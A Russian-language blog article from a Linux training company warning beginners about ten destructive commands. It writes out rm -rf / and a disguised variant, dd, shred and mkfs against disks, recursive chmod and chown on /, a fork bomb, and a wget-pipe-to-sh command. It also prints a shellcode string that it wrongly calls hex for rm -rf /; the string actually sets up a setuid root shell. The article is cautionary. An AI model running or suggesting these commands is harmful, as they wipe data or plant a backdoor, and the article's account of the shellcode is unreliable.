img

10 команд Linux, которые убьют ваш сервер

Привет! Еcли ты только начал осваивать Linux, то просто обязан знать то, что я сейчас тебе расскажу.

icon strelka icons icons

узнай больше на курсе

Онлайн-курс по Linux
Курс по Linux от Мерион Нетворкс - стань Linux администратором, прокачай свой скиллсет умением работать с операционными системами линукс и сделай большой шаг к DevOps
Укажите вашу электронную почту
Неверный адрес электронной почты
Нажимая на кнопку, вы соглашаетесь на обработку персональных данных
Готово!
Отправили доступы на вашу
электронную почту
Полный курс по сетевым технологиям
Полный курс по сетевым технологиям от Мерион Нетворкс - учим с нуля сетевых инженеров и DevOPS специалистов
Укажите вашу электронную почту
Неверный адрес электронной почты
Нажимая на кнопку, вы соглашаетесь на обработку персональных данных
Готово!
Отправили доступы на вашу
электронную почту
DevOps-инженер с нуля
Стань DevOps-инженером с нуля и научись использовать инструменты и методы DevOps
Укажите вашу электронную почту
Неверный адрес электронной почты
Нажимая на кнопку, вы соглашаетесь на обработку персональных данных
Готово!
Отправили доступы на вашу
электронную почту

В Linux есть целых 10 команд, которые ты никогда не должен вводить в командную строку или советовать кому-нибудь это сделать.

Это как непростительные заклятия, которые не должен произносить ни один волшебник.

Их запуск может привести к самым негативным последствиям - безвозвратному удалению всей операционной системы или важных файлов, зацикливанию процессов и зависанию системы, заражению вредоносным кодом и другим неприятностям.

Внимание! Эти команды действительно могут навредить твоей системе. Компания Мерион Нетворкс снимает с себя всякую ответственность за последствия, исполнения читателями данных команд. Материал носит исключительно ознакомительный характер.

Дело в том, что Linux предполагает, что ты знаешь, что делаешь и, как правило, не спрашивает подтверждения прежде чем исполнить команду, даже если она может навредить.

В Интернете часто подшучивают над новичками, которые просят помощи в настройке Linux, предлагая им ввести эти команды, а затем "ловят лулзы" от реакции человека, который сообщает, что все сломалось окончательно. Чтобы не стать жертвой таких "доброжелателей" и других "темных сил" читай нашу статью!


Необратимые

И начнём мы с действительно "непростительных заклятий", последствия которых невозможно обратить:

  1. rm –rf / - Удаляет всё, до чего только может добраться. Короче - “Avada Kedavra!” в Linux’е.

Чтобы лучше разобраться как она действует, давайте разобьём её на составляющие:

  • rm - команда для удаления файлов
  • -r - рекурсивное удаление всех файлов внутри папки, включая вложенные папки и файлы в них
  • -f - означает “force”, не спрашивает подтверждения для выполнения операции у пользователя
  • /
  • - “слэшом” обозначается корневая директория ОС, которая содержит в себе не только все файлы системы, но также и подключенные устройства, такие как удаленные директории (сетевые шары), USB-носители и другое.

Таким образом, система поймёт данную команду как: “Удали мне всё, что можно и начни с корневой директории!”

В GNU/Linux, ОС Solaris и FreeBSD есть механизмы защиты, от ввода данной команды. Например, в GNU система не даёт ввести эту команду, так как в конфиге активирована функция --preserve-root. Однако, если добавить к ней ключ --no-preserve-root, то команда всё же сработает.

Существует несколько вариаций для маскировки этой команды, так что запомни их и не спеши слепо вводить в консоль:

mkdir test
cd test
touch ./-r
touch ./-f
su
rm * /

Делает то же самое, но усыпляет бдительность, создавая ненужную директорию “test”

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68”
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99”
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7”
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56”
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31”
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69”
“x6ex2fx73x68x00x2dx63x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

16-ричное представление команды rm –rf /, его система тоже поймёт.

  1. sudo dd if=/dev/zero of=/dev/sda bs=8m - Заполняет начальные 40Мбайт (8m) жесткого диска, которые содержат важные данные структуры нулями. Что делает невозможным их восстановление и приводит к невозможности загрузки ОС.

/dev/zero – это некое псевдоустройство, которое делает только одно – генерирует нули, а /dev/sda - это, как правило, устройство жёсткого диска. Командой dd мы как бы говорим системе: “Скопируй данные из генератора нулей и замени ею первые 40Мбайт на моём жестком диске!”

Обратите внимание на sudo перед последующей командой. Это значит, что её можно исполнить только под пользователем root.
Встречается ещё использование другого псевдоустройства - if=/dev/random. В отличие от /dev/zero он генерирует абсолютно рандомный, несвязный бред. Применяется в основном для генерации ключей.
  1. shred /dev/sda - Удалит все данные на жёстком диске. Команду можно прервать комбинацией Ctrl+C, но всё равно будет слишком поздно, чтобы восстановить критичные области. Кстати, на самом деле shred использует те же генераторы бреда /dev/random или /dev/urandom и начинает заполнять диск данными от них.
  2. mkfs.ext3 /dev/sda - Форматирование жесткого диска. По сути, эта команда создаёт новую файловую систему ext3 (или ещё бывает ext4) на жестком диске, предварительно стирая с него все данные.
  3. chmod -Rv 000 / - Отнимает все разрешения на все файлы и все папки в системе. После ввода этой команды систему нельзя будет даже перезагрузить. А если перезагрузить её вручную, то она всё равно уже не сможет запуститься нормально, так как запрашиваемые при загрузке компоненты будут недоступны.
  4. chown -R nobody:nobody / - Меняет владельца всех файлов и папок системы на “никого”. По сути, эффект от ввода этой команды таким же, как и от предыдущий. Поскольку никто не является владельцем ничего в системе, то и сделать он с ней ничего не сможет, даже запустить.

Опасные, но обратимые

  1. :(){ :|:& };: - Логическая бомба (известная также как fork bomb), забивающая память системы, что в итоге приводит к её зависанию.

Чтобы лучше понять, как она действует, давайте её немного преобразуем:

fu() {
  fu | fu &
}
fu

Этот Bash код создаёт функцию, которая запускает ещё два своих экземпляра, которые, в свою очередь снова запускают эту функцию и так до тех пор, пока этот процесс не займёт всю физическую память компьютера, и он просто не зависнет. Ни к чему фатальному это конечно не приведет, но перезагрузиться всё же придётся.

  1. команда > file.conf - Команда, которая может перезаписать важный конфигурационный файл. В Linux есть две функции, которые часть путают > - заменить и >> - добавить. Таким образом, если написать какую-команду и неправильно использовать функцию замены при редактировании конфигурационного файла, можно потерять его содержимое. А если написать > file.conf, то можно просто стереть содержимое файла.
  2. wget http://вредоносный_сайт -O- | sh - Скачивание и последующие исполнение какого-либо скрипта c сайта в Интернете. Если ресурс, с которого ты качаешь скрипт окажется вредоносным, то ты рискуешь заразить свою систему, ведь в скрипте может оказаться код, написанный злоумышленником, который с радостью исполнит твоя система. Так что внимательно относись к тому, что скачиваешь и запускаешь.
  3. chmod -R 777 / - Даёт разрешение всем пользователям системы читать, перезаписывать и запускать всё что угодно. Конечно, с такой системой можно жить и работать, но её безопасность будет под угрозой.
Стоит отметить, что в различных дистрибутивах Linux есть механизмы защиты от ввода данных команд, где-то спрашивают пароль root, где-то запрашивают подтверждение на исполнение, где-то просят ввести специальные ключи.

Ну вот и всё, теперь у тебя есть представление о командах Linux, которые никогда не стоит вводить в консоль. Мы также надеемся, что ты не будешь советовать неопытным пользователям их вводить. Надеемся эта статья была тебя полезна, а если ты знаешь ещё какие нибудь “непростительные заклинания” и опасные команды в Linux – пиши их в комментариях!

Ссылка
скопирована
Получите бесплатные уроки на наших курсах
Все курсы
icon strelka icons icons

узнай больше на курсе

Онлайн-курс по Linux
Курс по Linux от Мерион Нетворкс - стань Linux администратором, прокачай свой скиллсет умением работать с операционными системами линукс и сделай большой шаг к DevOps
Подробнее о курсе
Полный курс по сетевым технологиям
Полный курс по сетевым технологиям от Мерион Нетворкс - учим с нуля сетевых инженеров и DevOPS специалистов
Подробнее о курсе
DevOps-инженер с нуля
Стань DevOps-инженером с нуля и научись использовать инструменты и методы DevOps
Подробнее о курсе
Python программист с нуля
Стань разработчиком на одном из самых популярных языков программирования - Python
Подробнее о курсе
Онлайн-курс по кибербезопасности
Полный курс по кибербезопасности от Мерион Нетворкс - учим с нуля специалистов по информационной безопасности. Пора стать безопасником!
Подробнее о курсе
Онлайн-курс по сетевой безопасности
Изучи основы сетевой безопасности и прокачай скилл системного администратора и сетевого инженера
Подробнее о курсе
Еще по теме:
img
Рассказываем, как появился nginx, его отличия от apache, для чего нужен nginx и какие у него преимущества
img
В этом руководстве вы узнаете, как установить и настроить Fail2ban на своем сервере.
img
В этой статье обсудим гипервизоры — важные компоненты процесса виртуализации серверов, как они работают и какие бывают типы.
img
В этой статье мы рассмотрим, как работают различные системные вызовы, разберемся в их функциях, а также постараемся сделать работу вашей системы более безопасной и предсказуемой.
img
Статья объясняет, что такое SWAP-память, как она работает, ее преимущества и недостатки, а также как управлять объемом SWAP-пространства на разных ОС.
Весенние скидки
30%
50%
60%
До конца акции: 30 дней 24 : 59 : 59